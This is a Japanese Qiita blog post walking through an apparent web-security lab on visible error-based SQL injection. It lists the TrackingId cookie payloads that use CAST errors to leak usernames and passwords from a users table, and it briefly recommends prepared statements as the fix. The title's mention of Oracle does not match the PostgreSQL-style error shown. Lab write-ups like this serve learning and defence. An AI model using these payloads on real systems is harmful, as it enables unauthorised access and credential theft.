0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【21個目】【SQLインジェクション】【15個目】【SQLインジェクション】SQL injection attack, listing the database contents on Oracle

Posted at

Visible error-based SQL injection

概要

画面に表示されるSQLからクレデンシャル情報を取得する

攻撃手順

  • バックエンドと通信していそうな箇所を探す
  • trackingIdパラメタがSQLインジェクションの脆弱性があることを確認する
  • AND句で評価させるためにはbool値である必要があるためTrackingId=ogAZZfxtOKUELbuJ' AND CAST((SELECT 1) AS int)--を設定
    • エラーとして、bool値であるようにとの文言が表示される
  • bool値でAND式を評価させるために、TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT 1) AS int)--を設定
    • SQL文が長すぎるとのエラーが表示される
  • 上記エラー回避のためにTrackingId=' AND 1=CAST((SELECT username FROM users) AS int)--を設定
    • 複数行と1を=で評価するため、エラーが表示される
  • 一つの行に絞るためTrackingId=' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)-- を設定
    • 結果が文字列のであり、intにキャストできないためエラーが表示される。エラー内容として、CAST内のSQLの結果が表示される。ERROR: invalid input syntax for type integer: "administrator"
  • パスワードも漏洩させたいめ、TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--も指定して実行する

対策

  • プレースホルダー(プリペアドステートメント)を利用する
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?